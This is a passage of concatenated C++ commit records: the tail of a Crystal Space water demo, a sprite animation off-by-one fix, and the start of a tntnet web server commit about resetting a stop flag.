speed;\n    if (kbd->GetKeyState (CSKEY_PGDN))\n      rotX -= speed;\n    if (kbd->GetKeyState (CSKEY_UP))\n      c->Move (CS_VEC_FORWARD * 4 * speed);\n    if (kbd->GetKeyState (CSKEY_DOWN))\n      c->Move (CS_VEC_BACKWARD * 4 * speed);\n  }\n\n  \/\/ We now assign a new rotation transformation to the camera.  You\n  \/\/ can think of the rotation this way: starting from the zero\n  \/\/ position, you first rotate \"rotY\" radians on your Y axis to get\n  \/\/ the first rotation.  From there you rotate \"rotX\" radians on the\n  \/\/ your X axis to get the final rotation.  We multiply the\n  \/\/ individual rotations on each axis together to get a single\n  \/\/ rotation matrix.  The rotations are applied in right to left\n  \/\/ order .\n  csMatrix3 rot = csXRotMatrix3 (rotX) * csYRotMatrix3 (rotY);\n  csOrthoTransform ot (rot, c->GetTransform().GetOrigin ());\n  c->SetTransform (ot);\n  \n  if (g3d->BeginDraw(engine->GetBeginDrawFlags() | CSDRAW_3DGRAPHICS))\n  {\n\tview->Draw ();\n  }\n}\n\nvoid AppWaterdemo2::FinishFrame()\n{\n  g3d->FinishDraw();\n  g3d->Print(0);\n}\n\nbool AppWaterdemo2::OnKeyboard(iEvent& ev)\n{\n  \/\/ We got a keyboard event.\n  if (csKeyEventHelper::GetEventType(&ev) == csKeyEventTypeDown)\n  {\n    \/\/ The user pressed a key (as opposed to releasing it).\n    utf32_char code = csKeyEventHelper::GetCookedCode(&ev);\n    if (code == CSKEY_ESC)\n    {\n      \/\/ The user pressed escape, so terminate the application.  The proper way\n      \/\/ to terminate a Crystal Space application is by broadcasting a\n      \/\/ csevQuit event.  That will cause the main run loop to stop.  To do\n      \/\/ so we retrieve the event queue from the object registry and then post\n      \/\/ the event.\n      csRef<iEventQueue> q =\n        csQueryRegistry<iEventQueue> (GetObjectRegistry());\n      if (q.IsValid())\n\/\/        q->GetEventOutlet()->Broadcast(csevQuit(GetObjectRegistry()));\n\t\texit(0); \/\/ HACK TO AVOID SEGFAULT ON EXIT\n    }\n  }\n  return false;\n}\n\nbool AppWaterdemo2::OnInitialize(int argc, char* argv[])\n{\n  iObjectRegistry* r = GetObjectRegistry();\n\n  \/\/ Load application-specific configuration file.\n\/\/  if (!csInitializer::SetupConfigManager(r,\n\/\/      \"\/my\/vfs\/path\/AppWaterdemo2.cfg\", GetApplicationName()))\n\/\/    return ReportError(\"Failed to initialize configuration manager!\");\n\n#ifdef USE_CEL\n  celInitializer::SetupCelPluginDirs(r);\n#endif\n\n  \/\/ RequestPlugins() will load all plugins we specify.  In addition it will\n  \/\/ also check if there are plugins that need to be loaded from the\n  \/\/ configuration system (both the application configuration and CS or global\n  \/\/ configurations).  It also supports specifying plugins on the command line\n  \/\/ via the --plugin= option.\n  if (!csInitializer::RequestPlugins(r,\n\tCS_REQUEST_VFS,\n\tCS_REQUEST_OPENGL3D,\n\tCS_REQUEST_ENGINE,\n\tCS_REQUEST_FONTSERVER,\n\tCS_REQUEST_IMAGELOADER,\n\tCS_REQUEST_LEVELLOADER,\n\tCS_REQUEST_REPORTER,\n\tCS_REQUEST_REPORTERLISTENER,\n\tCS_REQUEST_CONSOLEOUT,\n\tCS_REQUEST_END))\n    return ReportError(\"Failed to initialize plugins!\");\n\n  \/\/ \"Warm up\" the event handler so it can interact with the world\n  csBaseEventHandler::Initialize(GetObjectRegistry());\n \n  \/\/ Set up an event handler for the application.  Crystal Space is fully\n  \/\/ event-driven.  Everything (except for this initialization) happens in\n  \/\/ response to an event.\n  if (!RegisterQueue (r, csevAllEvents(GetObjectRegistry())))\n    return ReportError(\"Failed to set up event handler!\");\n\n  return true;\n}\n\nvoid AppWaterdemo2::OnExit()\n{\n}\n\nbool AppWaterdemo2::Application()\n{\n  iObjectRegistry* r = GetObjectRegistry();\n\n  \/\/ Open the main system. This will open all the previously loaded plugins\n  \/\/ (i.e. all windows will be opened).\n  if (!OpenApplication(r))\n    return ReportError(\"Error opening system!\");\n\n  \/\/ Now get the pointer to various modules we need.  We fetch them from the\n  \/\/ object registry.  The RequestPlugins() call we did earlier registered all\n  \/\/ loaded plugins with the object registry.  It is also possible to load\n  \/\/ plugins manually on-demand.\n  g3d = csQueryRegistry<iGraphics3D> (r);\n  if (!g3d)\n    return ReportError(\"Failed to locate 3D renderer!\");\n\n  engine = csQueryRegistry<iEngine> (r);\n  if (!engine)\n    return ReportError(\"Failed to locate 3D engine!\");\n    \n  vc = csQueryRegistry<iVirtualClock> (r);\n  if (!vc) return ReportError(\"Failed to locate Virtual Clock!\");\n\n  kbd = csQueryRegistry<iKeyboardDriver> (r);\n  if (!kbd) return ReportError(\"Failed to locate Keyboard Driver!\");\n\n  loader = csQueryRegistry<iLoader> (r);\n  if (!loader) return ReportError(\"Failed to locate Loader!\");\n\n  engine->SetClearScreen(true);\n  \n  rotY = 0;\n  rotX = 0;\n\n  if(!LoadMap()) return 0;\n\t\n  room = engine->FindSector (\"room\");\n\n  engine->Prepare ();\n\n  view.AttachNew(new csView (engine, g3d));\n  iGraphics2D* g2d = g3d->GetDriver2D ();\n  view->SetRectangle (0, 0, g2d->GetWidth (), g2d->GetHeight ());\n\n  view->GetCamera ()->SetSector (room);\n  view->GetCamera ()->GetTransform ().SetOrigin (csVector3 (0, 3, 0));\n  \n  \/\/****************** END OF INITIALIZATION STUFFS ***********************\/\/\n  \/\/ Start the default run\/event loop.  This will return only when some code,\n  \/\/ such as OnKeyboard(), has asked the run loop to terminate.\n  Run();\n\n  return true;\n}\n\nbool AppWaterdemo2::LoadMap ()\n{\n  \/\/ Set VFS current directory to the level we want to load.\n  csRef<iVFS> VFS (csQueryRegistry<iVFS> (GetObjectRegistry ()));\n  VFS->ChDir (\"\/lev\/oceantest\");\n  \/\/ Load the level file which is called 'world'.\n  if (!loader->LoadMapFile (\"world\"))\n    ReportError(\"Error couldn't load level!\");\n\n  return true;\n}<|endoftext|>"}
{"text":"<commit_before>#include \"AnimatedSprite.h\"\n\n#define GRAVITY_FORCE 5\n\nAnimatedSprite::AnimatedSprite()\n\t: Sprite()\n\t, isLooping(true)\n\t, nbFrame(0)\n\t, nbRow(0)\n\t, nbCol(0)\n\t, frameRate(0)\n\t, currentTime(0)\n\t, currentRow(0)\n\t, currentCol(0)\n\t, isVisible(true)\n{\n\tinitialRect.left = 0;\n\tinitialRect.top = 0;\n\tinitialRect.right = 0;\n\tinitialRect.bottom = 0;\n\n\tsrcRect = initialRect;\n}\n\nAnimatedSprite::AnimatedSprite(std::string path, int srcTop, int srcLeft, float frameWidth, int frameHeight, int nbRow, int nbCol, int frameRate, bool looping)\n\t: Sprite(path)\n\t, isLooping(looping)\n\t, nbFrame(nbRow * nbCol)\n\t, nbRow(nbRow)\n\t, nbCol(nbCol)\n\t, frameRate(frameRate)\n\t, currentTime(0)\n\t, currentRow(0)\n\t, currentCol(0)\n\t, isVisible(true)\n{\n\tinitialRect.left = srcLeft;\n\tinitialRect.top = srcTop;\n\tinitialRect.right = frameWidth;\n\tinitialRect.bottom = frameHeight;\n\n\tsrcRect = initialRect;\n\tboxCollision->SetSize(frameWidth, frameHeight);\n}\n\nAnimatedSprite::~AnimatedSprite()\n{\n}\n\nvoid AnimatedSprite::Update(float dt)\n{\n\tSprite::Update(dt);\n\tcurrentTime += dt;\n\n\tif (currentTime >= 1.0f \/ frameRate)\n\t{\n\t\tif (currentCol >= nbCol)\n\t\t{\n\t\t\tcurrentCol = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcurrentCol++;\n\t\t}\n\n\t\tif (currentRow >= nbRow)\n\t\t{\n\t\t\tcurrentRow = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcurrentRow++;\n\t\t}\n\t\tsrcRect.top = currentRow * initialRect.bottom;\n\t\tsrcRect.left = currentCol * initialRect.right;\n\t\tsrcRect.right = srcRect.left + initialRect.right;\n\t\tsrcRect.bottom = srcRect.top + initialRect.bottom;\n\t\tcurrentTime = 0.f;\n\t}\n}<commit_msg>Fix animation blank frame<commit_after>#include \"AnimatedSprite.h\"\n\n#define GRAVITY_FORCE 5\n\nAnimatedSprite::AnimatedSprite()\n\t: Sprite()\n\t, isLooping(true)\n\t, nbFrame(0)\n\t, nbRow(0)\n\t, nbCol(0)\n\t, frameRate(0)\n\t, currentTime(0)\n\t, currentRow(0)\n\t, currentCol(0)\n\t, isVisible(true)\n{\n\tinitialRect.left = 0;\n\tinitialRect.top = 0;\n\tinitialRect.right = 0;\n\tinitialRect.bottom = 0;\n\n\tsrcRect = initialRect;\n}\n\nAnimatedSprite::AnimatedSprite(std::string path, int srcTop, int srcLeft, float frameWidth, int frameHeight, int nbRow, int nbCol, int frameRate, bool looping)\n\t: Sprite(path)\n\t, isLooping(looping)\n\t, nbFrame(nbRow * nbCol)\n\t, nbRow(nbRow)\n\t, nbCol(nbCol)\n\t, frameRate(frameRate)\n\t, currentTime(0)\n\t, currentRow(0)\n\t, currentCol(0)\n\t, isVisible(true)\n{\n\tinitialRect.left = srcLeft;\n\tinitialRect.top = srcTop;\n\tinitialRect.right = frameWidth;\n\tinitialRect.bottom = frameHeight;\n\n\tsrcRect = initialRect;\n\tboxCollision->SetSize(frameWidth, frameHeight);\n}\n\nAnimatedSprite::~AnimatedSprite()\n{\n}\n\nvoid AnimatedSprite::Update(float dt)\n{\n\tSprite::Update(dt);\n\tcurrentTime += dt;\n\n\tif (currentTime >= 1.0f \/ frameRate)\n\t{\n\t\tif (currentCol >= nbCol-1)\n\t\t{\n\t\t\tcurrentCol = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcurrentCol++;\n\t\t}\n\n\t\tif (currentRow >= nbRow)\n\t\t{\n\t\t\tcurrentRow = 0;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcurrentRow++;\n\t\t}\n\n\t\tsrcRect.top = currentRow * initialRect.bottom;\n\t\tsrcRect.left = currentCol * initialRect.right;\n\t\tsrcRect.right = srcRect.left + initialRect.right;\n\t\tsrcRect.bottom = srcRect.top + initialRect.bottom;\n\t\tcurrentTime = 0.f;\n\t}\n}<|endoftext|>"}
{"text":"<commit_before>\/* tntnet.cpp\n * Copyright (C) 2003-2005 Tommi Maekitalo\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n\n#include \"tnt\/tntnet.h\"\n#include \"tnt\/worker.h\"\n#include \"tnt\/listener.h\"\n#include \"tnt\/http.h\"\n#include \"tnt\/httpreply.h\"\n#include \"tnt\/sessionscope.h\"\n\n#include <cxxtools\/tcpstream.h>\n#include <cxxtools\/log.h>\n\n#include <config.h>\n\n#ifndef TNTNET_CONF\n# define TNTNET_CONF \"\/etc\/tntnet.conf\"\n#endif\n\n#ifndef TNTNET_PID\n# define TNTNET_PID \"\/var\/run\/tntnet.pid\"\n#endif\n\nlog_define(\"tntnet.tntnet\")\n\nnamespace\n{\n  void configureDispatcher(tnt::Dispatcher& dis, const tnt::Tntconfig& config)\n  {\n    typedef tnt::Dispatcher::CompidentType CompidentType;\n\n    const tnt::Tntconfig::config_entries_type& params = config.getConfigValues();\n\n    tnt::Tntconfig::config_entries_type::const_iterator vi;\n    for (vi = params.begin(); vi != params.end(); ++vi)\n    {\n      const tnt::Tntconfig::config_entry_type& v = *vi;\n      const tnt::Tntconfig::params_type& args = v.params;\n      if (v.key == \"MapUrl\")\n      {\n        if (args.size() < 2)\n        {\n          std::ostringstream msg;\n          msg << \"invalid number of parameters (\" << args.size() << \") in MapUrl\";\n          throw std::runtime_error(msg.str());\n        }\n\n        std::string url = args[0];\n\n        CompidentType ci = CompidentType(args[1]);\n        if (args.size() > 2)\n        {\n          ci.setPathInfo(args[2]);\n          if (args.size() > 3)\n            ci.setArgs(CompidentType::args_type(args.begin() + 3, args.end()));\n        }\n\n        dis.addUrlMapEntry(std::string(), url, ci);\n      }\n      else if (v.key == \"VMapUrl\")\n      {\n        if (args.size() < 3)\n        {\n          std::ostringstream msg;\n          msg << \"invalid number of parameters (\" << args.size() << \") in VMapUrl\";\n          throw std::runtime_error(msg.str());\n        }\n\n        std::string vhost = args[0];\n        std::string url = args[1];\n\n        CompidentType ci = CompidentType(args[2]);\n        if (args.size() > 3)\n        {\n          ci.setPathInfo(args[3]);\n          if (args.size() > 4)\n            ci.setArgs(CompidentType::args_type(args.begin() + 4, args.end()));\n        }\n\n        dis.addUrlMapEntry(vhost, url, ci);\n      }\n    }\n  }\n}\n\nnamespace tnt\n{\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Tntnet\n  \/\/\n  Tntnet::Tntnet()\n    : pollerthread(queue),\n      minthreads(5),\n      maxthreads(100),\n      threadstartdelay(10),\n      timersleep(10)\n  { }\n\n  bool Tntnet::stop = false;\n\n  void Tntnet::init(const Tntconfig& config)\n  {\n    minthreads = config.getValue<unsigned>(\"MinThreads\", minthreads);\n    maxthreads = config.getValue<unsigned>(\"MaxThreads\", maxthreads);\n    threadstartdelay = config.getValue<unsigned>(\"ThreadStartDelay\", threadstartdelay);\n    timersleep = config.getValue<unsigned>(\"TimerSleep\", timersleep);\n    Worker::setMaxRequestTime(config.getValue<unsigned>(\"MaxRequestTime\", Worker::getMaxRequestTime()));\n    Worker::setEnableCompression(config.getBoolValue(\"EnableCompression\", Worker::getEnableCompression()));\n    queue.setCapacity(config.getValue<unsigned>(\"QueueSize\", queue.getCapacity()));\n    Sessionscope::setDefaultTimeout(config.getValue<unsigned>(\"SessionTimeout\", Sessionscope::getDefaultTimeout()));\n    Listener::setBacklog(config.getValue<int>(\"ListenBacklog\", Listener::getBacklog()));\n    Listener::setListenRetry(config.getValue<int>(\"ListenRetry\", Listener::getListenRetry()));\n    Dispatcher::setMaxUrlMapCache(config.getValue<unsigned>(\"MaxUrlMapCache\", Dispatcher::getMaxUrlMapCache()));\n\n    Tntconfig::config_entries_type configSetEnv;\n    config.getConfigValues(\"SetEnv\", configSetEnv);\n    for (Tntconfig::config_entries_type::const_iterator it = configSetEnv.begin();\n         it != configSetEnv.end(); ++it)\n    {\n      if (it->params.size() >= 2)\n      {\n#ifdef HAVE_SETENV\n        log_debug(\"setenv \" << it->params[0] << \"=\\\"\" << it->params[1] << '\"');\n        ::setenv(it->params[0].c_str(), it->params[1].c_str(), 1);\n#else\n        std::string name  = it->params[0];\n        std::string value = it->params[1];\n\n        char* env = new char[name.size() + value.size() + 2];\n        name.copy(env, name.size());\n        env[name.size()] = '=';\n        value.copy(env + name.size() + 1, value.size());\n        env[name.size() + value.size() + 1] = '\\0';\n\n        log_debug(\"putenv(\" << env << ')');\n        ::putenv(env);\n#endif\n      }\n    }\n\n    configureDispatcher(dispatcher, config);\n\n    \/\/ configure worker (static)\n    Comploader::configure(config);\n\n    \/\/ configure http\n    HttpRequest::setMaxRequestSize(\n      config.getValue(\"MaxRequestSize\", HttpRequest::getMaxRequestSize()));\n    Job::setSocketReadTimeout(\n      config.getValue(\"SocketReadTimeout\", Job::getSocketReadTimeout()));\n    Job::setSocketWriteTimeout(\n      config.getValue(\"SocketWriteTimeout\", Job::getSocketWriteTimeout()));\n    Job::setKeepAliveMax(\n      config.getValue(\"KeepAliveMax\", Job::getKeepAliveMax()));\n    Job::setSocketBufferSize(\n      config.getValue(\"BufferSize\", Job::getSocketBufferSize()));\n    HttpReply::setMinCompressSize(\n      config.getValue(\"MinCompressSize\", HttpReply::getMinCompressSize()));\n    HttpReply::setKeepAliveTimeout(\n      config.getValue(\"KeepAliveTimeout\", HttpReply::getKeepAliveTimeout()));\n    HttpReply::setDefaultContentType(\n      config.getValue(\"DefaultContentType\", HttpReply::getDefaultContentType()));\n\n    \/\/ initialize listeners\n    Tntconfig::config_entries_type configListen;\n    config.getConfigValues(\"Listen\", configListen);\n\n    for (Tntconfig::config_entries_type::const_iterator it = configListen.begin();\n         it != configListen.end(); ++it)\n    {\n      if (it->params.empty())\n        throw std::runtime_error(\"empty Listen-entry\");\n\n      unsigned short int port = 80;\n      if (it->params.size() >= 2)\n      {\n        std::istringstream p(it->params[1]);\n        p >> port;\n        if (!p)\n        {\n          std::ostringstream msg;\n          msg << \"invalid port \" << it->params[1];\n          throw std::runtime_error(msg.str());\n        }\n      }\n\n      std::string ip(it->params[0]);\n\n      listen(ip, port);\n    }\n\n#ifdef USE_SSL\n    \/\/ initialize ssl-listener\n    Tntconfig::config_entries_type configSslListen;\n    config.getConfigValues(\"SslListen\", configSslListen);\n    std::string defaultCertificateFile = config.getValue(\"SslCertificate\");\n    std::string defaultCertificateKey = config.getValue(\"SslKey\");\n\n    for (Tntconfig::config_entries_type::const_iterator it = configSslListen.begin();\n         it != configSslListen.end(); ++it)\n    {\n      if (it->params.empty())\n        throw std::runtime_error(\"empty SslListen-entry\");\n\n      unsigned short int port = 443;\n      if (it->params.size() >= 2)\n      {\n        std::istringstream p(it->params[1]);\n        p >> port;\n        if (!p)\n        {\n          std::ostringstream msg;\n          msg << \"invalid port \" << it->params[1];\n          throw std::runtime_error(msg.str());\n        }\n      }\n\n      std::string certificateFile =\n        it->params.size() >= 3 ? it->params[2]\n                               : defaultCertificateFile;\n      std::string keyFile =\n        it->params.size() >= 4 ? it->params[3] :\n        it->params.size() >= 3 ? it->params[2] : defaultCertificateKey;\n\n      if (certificateFile.empty())\n        throw std::runtime_error(\"Ssl-certificate not configured\");\n\n      std::string ip(it->params[0]);\n\n      sslListen(certificateFile, keyFile, ip, port);\n    }\n#endif \/\/ USE_SSL\n  }\n\n  void Tntnet::listen(const std::string& ip, unsigned short int port)\n  {\n    log_debug(\"listen on ip \" << ip << \" port \" << port);\n    listeners.insert(new tnt::Listener(ip, port, queue));\n  }\n\n  void Tntnet::sslListen(const std::string& certificateFile, const std::string& keyFile, const std::string& ip, unsigned short int port)\n  {\n#ifdef USE_SSL\n    log_debug(\"listen on ip \" << ip << \" port \" << port << \" (ssl)\");\n    listeners.insert(new Ssllistener(certificateFile.c_str(),\n        keyFile.c_str(), ip, port, queue));\n#else\n    log_error(\"cannot add ssl listener - ssl is not compiled into tntnet\");\n#endif \/\/ USE_SSL\n  }\n\n  void Tntnet::run()\n  {\n    log_debug(\"worker-process\");\n\n    if (listeners.empty())\n    {\n      unsigned short int port = (getuid() == 0 ? 80 : 8000);\n      log_info(\"no listeners defined - using ip 0.0.0.0 port \" << port);\n      listeners.insert(new tnt::Listener(\"0.0.0.0\", port, queue));\n    }\n    else\n      log_debug(listeners.size() << \" listeners\");\n\n    if (listeners.size() >= minthreads)\n    {\n      log_warn(\"at least one more worker than listeners needed - set MinThreads to \"\n        << listeners.size() + 1);\n      minthreads = listeners.size() + 1;\n    }\n\n    if (maxthreads < minthreads)\n    {\n      log_warn(\"MaxThreads < MinThreads - set MaxThreads = MinThreads = \" << minthreads);\n      maxthreads = minthreads;\n    }\n\n    \/\/ initialize worker-process\n    \/\/ create worker-threads\n    log_info(\"create \" << minthreads << \" worker threads\");\n    for (unsigned i = 0; i < minthreads; ++i)\n    {\n      log_debug(\"create worker \" << i);\n      Worker* s = new Worker(*this);\n      s->create();\n    }\n\n    \/\/ create poller-thread\n    log_debug(\"start poller thread\");\n    pollerthread.create();\n\n    log_debug(\"start timer thread\");\n    cxxtools::MethodThread<Tntnet, cxxtools::AttachedThread> timerThread(*this, &Tntnet::timerTask);\n    timerThread.create();\n\n    \/\/ mainloop\n    cxxtools::Mutex mutex;\n    while (!stop)\n    {\n      {\n        cxxtools::MutexLock lock(mutex);\n        queue.noWaitThreads.wait(lock);\n      }\n\n      if (stop)\n        break;\n\n      if (Worker::getCountThreads() < maxthreads)\n      {\n        log_info(\"create workerthread\");\n        Worker* s = new Worker(*this);\n        s->create();\n      }\n      else\n        log_info(\"max worker-threadcount \" << maxthreads << \" reached\");\n\n      if (threadstartdelay > 0)\n        usleep(threadstartdelay * 1000);\n    }\n\n    log_warn(\"stopping Tntnet\");\n\n    \/\/ join-loop\n    while (!listeners.empty())\n    {\n      listeners_type::value_type s = *listeners.begin();\n      log_debug(\"remove listener from listener-list\");\n      listeners.erase(s);\n\n      log_debug(\"request listener to stop\");\n      s->doStop();\n\n      delete s;\n\n      log_debug(\"listener stopped\");\n    }\n\n    log_info(\"listeners stopped\");\n  }\n\n  void Tntnet::setMinThreads(unsigned n)\n  {\n    if (listeners.size() >= n)\n    {\n      log_warn(\"at least one more worker than listeners needed - set MinThreads to \"\n        << listeners.size() + 1);\n      minthreads = listeners.size() + 1;\n    }\n    else\n      minthreads = n;\n\n  }\n\n  void Tntnet::timerTask()\n  {\n    log_debug(\"timer thread\");\n\n    while (!stop)\n    {\n      sleep(timersleep);\n      getScopemanager().checkSessionTimeout();\n      Worker::timer();\n    }\n\n    log_warn(\"stopping Tntnet\");\n\n    queue.noWaitThreads.signal();\n    minthreads = maxthreads = 0;\n    pollerthread.doStop();\n  }\n\n  void Tntnet::shutdown()\n  {\n    stop = true;\n  }\n}\n<commit_msg>reset stop flag before starting threads<commit_after>\/* tntnet.cpp\n * Copyright (C) 2003-2005 Tommi Maekitalo\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n\n#include \"tnt\/tntnet.h\"\n#include \"tnt\/worker.h\"\n#include \"tnt\/listener.h\"\n#include \"tnt\/http.h\"\n#include \"tnt\/httpreply.h\"\n#include \"tnt\/sessionscope.h\"\n\n#include <cxxtools\/tcpstream.h>\n#include <cxxtools\/log.h>\n\n#include <config.h>\n\n#ifndef TNTNET_CONF\n# define TNTNET_CONF \"\/etc\/tntnet.conf\"\n#endif\n\n#ifndef TNTNET_PID\n# define TNTNET_PID \"\/var\/run\/tntnet.pid\"\n#endif\n\nlog_define(\"tntnet.tntnet\")\n\nnamespace\n{\n  void configureDispatcher(tnt::Dispatcher& dis, const tnt::Tntconfig& config)\n  {\n    typedef tnt::Dispatcher::CompidentType CompidentType;\n\n    const tnt::Tntconfig::config_entries_type& params = config.getConfigValues();\n\n    tnt::Tntconfig::config_entries_type::const_iterator vi;\n    for (vi = params.begin(); vi != params.end(); ++vi)\n    {\n      const tnt::Tntconfig::config_entry_type& v = *vi;\n      const tnt::Tntconfig::params_type& args = v.params;\n      if (v.key == \"MapUrl\")\n      {\n        if (args.size() < 2)\n        {\n          std::ostringstream msg;\n          msg << \"invalid number of parameters (\" << args.size() << \") in MapUrl\";\n          throw std::runtime_error(msg.str());\n        }\n\n        std::string url = args[0];\n\n        CompidentType ci = CompidentType(args[1]);\n        if (args.size() > 2)\n        {\n          ci.setPathInfo(args[2]);\n          if (args.size() > 3)\n            ci.setArgs(CompidentType::args_type(args.begin() + 3, args.end()));\n        }\n\n        dis.addUrlMapEntry(std::string(), url, ci);\n      }\n      else if (v.key == \"VMapUrl\")\n      {\n        if (args.size() < 3)\n        {\n          std::ostringstream msg;\n          msg << \"invalid number of parameters (\" << args.size() << \") in VMapUrl\";\n          throw std::runtime_error(msg.str());\n        }\n\n        std::string vhost = args[0];\n        std::string url = args[1];\n\n        CompidentType ci = CompidentType(args[2]);\n        if (args.size() > 3)\n        {\n          ci.setPathInfo(args[3]);\n          if (args.size() > 4)\n            ci.setArgs(CompidentType::args_type(args.begin() + 4, args.end()));\n        }\n\n        dis.addUrlMapEntry(vhost, url, ci);\n      }\n    }\n  }\n}\n\nnamespace tnt\n{\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \/\/ Tntnet\n  \/\/\n  Tntnet::Tntnet()\n    : pollerthread(queue),\n      minthreads(5),\n      maxthreads(100),\n      threadstartdelay(10),\n      timersleep(10)\n  { }\n\n  bool Tntnet::stop = false;\n\n  void Tntnet::init(const Tntconfig& config)\n  {\n    minthreads = config.getValue<unsigned>(\"MinThreads\", minthreads);\n    maxthreads = config.getValue<unsigned>(\"MaxThreads\", maxthreads);\n    threadstartdelay = config.getValue<unsigned>(\"ThreadStartDelay\", threadstartdelay);\n    timersleep = config.getValue<unsigned>(\"TimerSleep\", timersleep);\n    Worker::setMaxRequestTime(config.getValue<unsigned>(\"MaxRequestTime\", Worker::getMaxRequestTime()));\n    Worker::setEnableCompression(config.getBoolValue(\"EnableCompression\", Worker::getEnableCompression()));\n    queue.setCapacity(config.getValue<unsigned>(\"QueueSize\", queue.getCapacity()));\n    Sessionscope::setDefaultTimeout(config.getValue<unsigned>(\"SessionTimeout\", Sessionscope::getDefaultTimeout()));\n    Listener::setBacklog(config.getValue<int>(\"ListenBacklog\", Listener::getBacklog()));\n    Listener::setListenRetry(config.getValue<int>(\"ListenRetry\", Listener::getListenRetry()));\n    Dispatcher::setMaxUrlMapCache(config.getValue<unsigned>(\"MaxUrlMapCache\", Dispatcher::getMaxUrlMapCache()));\n\n    Tntconfig::config_entries_type configSetEnv;\n    config.getConfigValues(\"SetEnv\", configSetEnv);\n    for (Tntconfig::config_entries_type::const_iterator it = configSetEnv.begin();\n         it != configSetEnv.end(); ++it)\n    {\n      if (it->params.size() >= 2)\n      {\n#ifdef HAVE_SETENV\n        log_debug(\"setenv \" << it->params[0] << \"=\\\"\" << it->params[1] << '\"');\n        ::setenv(it->params[0].c_str(), it->params[1].c_str(), 1);\n#else\n        std::string name  = it->params[0];\n        std::string value = it->params[1];\n\n        char* env = new char[name.size() + value.size() + 2];\n        name.copy(env, name.size());\n        env[name.size()] = '=';\n        value.copy(env + name.size() + 1, value.size());\n        env[name.size() + value.size() + 1] = '\\0';\n\n        log_debug(\"putenv(\" << env << ')');\n        ::putenv(env);\n#endif\n      }\n    }\n\n    configureDispatcher(dispatcher, config);\n\n    \/\/ configure worker (static)\n    Comploader::configure(config);\n\n    \/\/ configure http\n    HttpRequest::setMaxRequestSize(\n      config.getValue(\"MaxRequestSize\", HttpRequest::getMaxRequestSize()));\n    Job::setSocketReadTimeout(\n      config.getValue(\"SocketReadTimeout\", Job::getSocketReadTimeout()));\n    Job::setSocketWriteTimeout(\n      config.getValue(\"SocketWriteTimeout\", Job::getSocketWriteTimeout()));\n    Job::setKeepAliveMax(\n      config.getValue(\"KeepAliveMax\", Job::getKeepAliveMax()));\n    Job::setSocketBufferSize(\n      config.getValue(\"BufferSize\", Job::getSocketBufferSize()));\n    HttpReply::setMinCompressSize(\n      config.getValue(\"MinCompressSize\", HttpReply::getMinCompressSize()));\n    HttpReply::setKeepAliveTimeout(\n      config.getValue(\"KeepAliveTimeout\", HttpReply::getKeepAliveTimeout()));\n    HttpReply::setDefaultContentType(\n      config.getValue(\"DefaultContentType\", HttpReply::getDefaultContentType()));\n\n    \/\/ initialize listeners\n    Tntconfig::config_entries_type configListen;\n    config.getConfigValues(\"Listen\", configListen);\n\n    for (Tntconfig::config_entries_type::const_iterator it = configListen.begin();\n         it != configListen.end(); ++it)\n    {\n      if (it->params.empty())\n        throw std::runtime_error(\"empty Listen-entry\");\n\n      unsigned short int port = 80;\n      if (it->params.size() >= 2)\n      {\n        std::istringstream p(it->params[1]);\n        p >> port;\n        if (!p)\n        {\n          std::ostringstream msg;\n          msg << \"invalid port \" << it->params[1];\n          throw std::runtime_error(msg.str());\n        }\n      }\n\n      std::string ip(it->params[0]);\n\n      listen(ip, port);\n    }\n\n#ifdef USE_SSL\n    \/\/ initialize ssl-listener\n    Tntconfig::config_entries_type configSslListen;\n    config.getConfigValues(\"SslListen\", configSslListen);\n    std::string defaultCertificateFile = config.getValue(\"SslCertificate\");\n    std::string defaultCertificateKey = config.getValue(\"SslKey\");\n\n    for (Tntconfig::config_entries_type::const_iterator it = configSslListen.begin();\n         it != configSslListen.end(); ++it)\n    {\n      if (it->params.empty())\n        throw std::runtime_error(\"empty SslListen-entry\");\n\n      unsigned short int port = 443;\n      if (it->params.size() >= 2)\n      {\n        std::istringstream p(it->params[1]);\n        p >> port;\n        if (!p)\n        {\n          std::ostringstream msg;\n          msg << \"invalid port \" << it->params[1];\n          throw std::runtime_error(msg.str());\n        }\n      }\n\n      std::string certificateFile =\n        it->params.size() >= 3 ? it->params[2]\n                               : defaultCertificateFile;\n      std::string keyFile =\n        it->params.size() >= 4 ? it->params[3] :\n        it->params.size() >= 3 ? it->params[2] : defaultCertificateKey;\n\n      if (certificateFile.empty())\n        throw std::runtime_error(\"Ssl-certificate not configured\");\n\n      std::string ip(it->params[0]);\n\n      sslListen(certificateFile, keyFile, ip, port);\n    }\n#endif \/\/ USE_SSL\n  }\n\n  void Tntnet::listen(const std::string& ip, unsigned 